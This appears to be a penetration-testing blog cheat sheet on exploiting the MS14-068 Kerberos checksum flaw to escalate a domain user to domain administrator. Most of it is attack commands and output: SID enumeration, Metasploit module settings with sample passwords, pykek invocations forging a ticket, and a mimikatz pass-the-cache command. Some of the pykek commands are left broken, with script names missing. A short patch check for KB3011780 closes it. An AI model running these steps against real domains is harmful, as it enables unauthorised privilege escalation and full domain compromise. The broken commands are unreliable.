Pentest – MS14-068 Checksum Validation

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

  • RPCClient
    rpcclient $> lookupnames john.smith
    john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
  • WMI
    wmic useraccount get name,sid
    Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
    Guest          S-1-5-21-3415849876-833628785-5197346142-501   
    Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
    Guest          S-1-5-21-297520375-2634728305-5197346142-501   
    krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
    lambda         S-1-5-21-297520375-2634728305-5197346142-1110 
  • Powerview
    Convert-NameToSid high-sec-corp.localkrbtgt
  • CrackMapExec: crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
# Alternative download:
$ git clone
$ python ./ -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ -u -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d
$ python ./ -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d
$ python -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\"


  • Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780


Add a Comment

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *